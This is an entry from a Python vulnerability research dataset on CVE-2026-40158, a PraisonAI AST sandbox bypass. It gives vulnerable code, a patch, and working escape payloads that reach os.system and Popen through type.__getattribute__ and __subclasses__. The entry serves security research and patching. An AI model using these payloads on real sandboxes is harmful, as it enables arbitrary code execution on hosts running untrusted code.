VAITP Dataset

← Back to the dataset

CVE-2026-40158

PraisonAI AST filter bypass allows code execution via type.__getattribute__.

  • CVSS 7.8
  • CWE-94
  • Input Validation and Sanitization
  • Remote

PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.

CVSS base score
7.8
Published
2026-04-10
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Poorly Designed Access Controls
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
PraisonAI
Fixed by upgrading
Yes

Solution

Upgrade to PraisonAI version 4.5.128 or later.

Vulnerable code sample

import ast
import io
from contextlib import redirect_stdout

# This code represents the vulnerable state of PraisonAI's python_tools.py
# prior to version 4.5.128, demonstrating CVE-2026-40158.

# A set of attributes and function names the sandbox attempts to block.
BLOCKED_ATTRIBUTES = {
    '__subclasses__',
    '__bases__',
    '__globals__',
    '__code__',
    '__closure__',
    '__func__',
    '__self__',
    '__mro__',
    '__get__',
    '__getattribute__',
    '__builtins__',
    '__import__',
    'eval',
    'exec',
    'globals',
    'locals',
    'open'
}

class VulnerableAttributeChecker(ast.NodeVisitor):
    """
    This vulnerable AST visitor is the core of the sandbox. It is intended to
    find and block access to dangerous attributes.
    
    The vulnerability is that it only checks `ast.Attribute` nodes (e.g., `obj.attr`)
    and does not check `ast.Constant` nodes (e.g., strings like '__subclasses__').
    """
    def visit_Attribute(self, node):
        if node.attr in BLOCKED_ATTRIBUTES:
            raise PermissionError(f"Access to the attribute '{node.attr}' is forbidden.")
        self.generic_visit(node)

    def visit_Name(self, node):
        if node.id in BLOCKED_ATTRIBUTES:
             raise PermissionError(f"Usage of '{node.id}' is forbidden.")
        self.generic_visit(node)


def _execute_code_direct(code: str) -> str:
    """
    This function simulates the vulnerable component in praisonaiagents/tools/python_tools.py.
    It uses the flawed AST-based filter before executing the code. If the filter is
    bypassed, it leads to arbitrary code execution.
    """
    try:
        # Parse the code into an Abstract Syntax Tree.
        tree = ast.parse(code)
        
        # Check the AST for blocked attributes using the vulnerable checker.
        checker = VulnerableAttributeChecker()
        checker.visit(tree)
        
        # If the check passes, execute the code.
        # The exploit will run here if the AST check is bypassed.
        f = io.StringIO()
        with redirect_stdout(f):
            exec(code, {"__builtins__": __builtins__, "type": type, "object": object, "print": print})
        return f.getvalue()

    except (PermissionError, SyntaxError, Exception) as e:
        return f"Execution failed: {str(e)}\n"


# --- Demonstration of the Vulnerability ---

# 1. An attempt to directly access a blocked attribute.
# This will be correctly identified and blocked by the sandbox because `__subclasses__`
# is an `ast.Attribute` in this context.
blocked_code = "print(object.__subclasses__())"

# 2. The exploit payload.
# This bypasses the sandbox because `__subclasses__` is an `ast.Constant` (a string),
# which the `VulnerableAttributeChecker` does not inspect. The string is passed to
# `type.__getattribute__` to dynamically resolve the attribute at runtime.
# This allows access to `object.__subclasses__` and eventually `os.system`.
exploit_payload = """
# The exploit works by finding a path to the 'os' module
subclasses = type.__getattribute__(object, '__subclasses__')()
for cls in subclasses:
    if cls.__name__ == '_wrap_close':
        try:
            # Access the globals of the os module via the _wrap_close class
            globals_dict = cls.__init__.__globals__
            if 'system' in globals_dict:
                # Execute an arbitrary OS command
                globals_dict['system']('echo [!] PWNED by CVE-2026-40158: Sandbox Bypassed')
                break
        except:
            # Continue if attributes are not as expected
            pass
"""

# --- Running the demonstration ---

# Execute the blocked code to show the sandbox works as intended in this case.
print("--- 1. Attempting direct access (should be BLOCKED) ---")
print(f"Executing code: {blocked_code}")
print(f"Result: {_execute_code_direct(blocked_code)}")

# Execute the exploit payload to demonstrate the bypass.
print("--- 2. Attempting sandbox bypass (should SUCCEED) ---")
print(f"Executing payload:\n{exploit_payload}")
print("Result (captured stdout):")
# The "PWNED" message will be printed directly to the console by os.system,
# not captured by redirect_stdout.
_execute_code_direct(exploit_payload)
print("\nAnalysis: If you see the '[!] PWNED' message above, the exploit was successful.")

Patched code sample

import ast
import sys

# A set of dangerous attributes that should not be accessed in a sandbox.
# Access to these can lead to sandbox escapes and arbitrary code execution.
BLOCKED_ATTRIBUTES = {
    '__subclasses__',
    '__bases__',
    '__globals__',
    '__code__',
    '__closure__',
    '__func__',
    '__self__',
    '__mro__',
    '__init__',
    '__dict__',
    '__getattribute__',
    'getattr',
    'setattr'
}

# A set of functions/methods known to be used for dynamic attribute access.
# The fix involves monitoring calls to these functions.
DYNAMIC_ACCESS_FUNCTIONS = {
    '__getattribute__',
    'getattr'
}

class PatchedAstValidator(ast.NodeVisitor):
    """
    An AST visitor that enforces security constraints on Python code.
    
    This class represents the fix for CVE-2026-40158 by inspecting not only
    direct attribute access (`ast.Attribute`) but also dynamic attribute access
    via function calls (`ast.Call`) where dangerous attribute names are passed
    as string constants (`ast.Constant`).
    """

    def visit_Attribute(self, node: ast.Attribute):
        """
        Blocks direct access to forbidden attributes.
        Example: blocks code like `some_object.__globals__`.
        """
        if node.attr in BLOCKED_ATTRIBUTES:
            raise PermissionError(
                f"Direct access to the dangerous attribute '{node.attr}' is forbidden."
            )
        # Continue traversing the rest of the node's children.
        self.generic_visit(node)

    def visit_Call(self, node: ast.Call):
        """
        **This method contains the core of the vulnerability fix.**
        
        It blocks dynamic access to forbidden attributes passed as string literals.
        The original PraisonAI sandbox only checked `ast.Attribute` nodes, but the
        exploit bypassed this by using an `ast.Constant` (the string '__subclasses__')
        as an argument to a function like `type.__getattribute__`.

        This patched method inspects calls to sensitive functions and checks their
        string arguments against the blocklist, closing the loophole.
        """
        # Check if the function being called is an attribute itself (e.g., `type.getattribute`).
        if isinstance(node.func, ast.Attribute):
            function_name = node.func.attr
            
            # Check if it's a function we are monitoring for dynamic attribute access.
            if function_name in DYNAMIC_ACCESS_FUNCTIONS:
                # The sensitive attribute name is typically the second argument.
                if len(node.args) > 1:
                    arg = node.args[1]
                    attr_name = None

                    # In Python 3.8+, string literals are `ast.Constant`.
                    if isinstance(arg, ast.Constant) and isinstance(arg.value, str):
                        attr_name = arg.value
                    # In older Python versions (<3.8), they were `ast.Str`.
                    elif sys.version_info < (3, 8) and isinstance(arg, ast.Str):
                        attr_name = arg.s

                    # If the extracted string argument is a blocked attribute, raise an error.
                    if attr_name and attr_name in BLOCKED_ATTRIBUTES:
                        raise PermissionError(
                            f"Dynamic access to '{attr_name}' via the function "
                            f"'{function_name}' is forbidden."
                        )
        
        # Continue traversing the rest of the node's children.
        self.generic_visit(node)


def validate_code_with_fix(untrusted_code: str):
    """
    A wrapper function demonstrating how to use the PatchedAstValidator to
    check if a string of code is safe. In a real application, this would be
    called before executing any untrusted agent code.
    
    Args:
        untrusted_code: The string of Python code from an untrusted source.

    Raises:
        PermissionError: If the code contains forbidden patterns.
        SyntaxError: If the code is not valid Python.
    """
    tree = ast.parse(untrusted_code)
    validator = PatchedAstValidator()
    validator.visit(tree)
    # If no exception is raised, the code is considered safe by the validator.
    # In a real application, you would now proceed to execute the code
    # in a sandboxed environment.

Payload

[c for c in type.__getattribute__(type(()), '__subclasses__')() if c.__name__ == 'Popen'][0](['touch', '/tmp/pwned'])

Cite this entry

@misc{vaitp:cve202640158,
  title        = {{PraisonAI AST filter bypass allows code execution via type.__getattribute__.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-40158},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40158/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::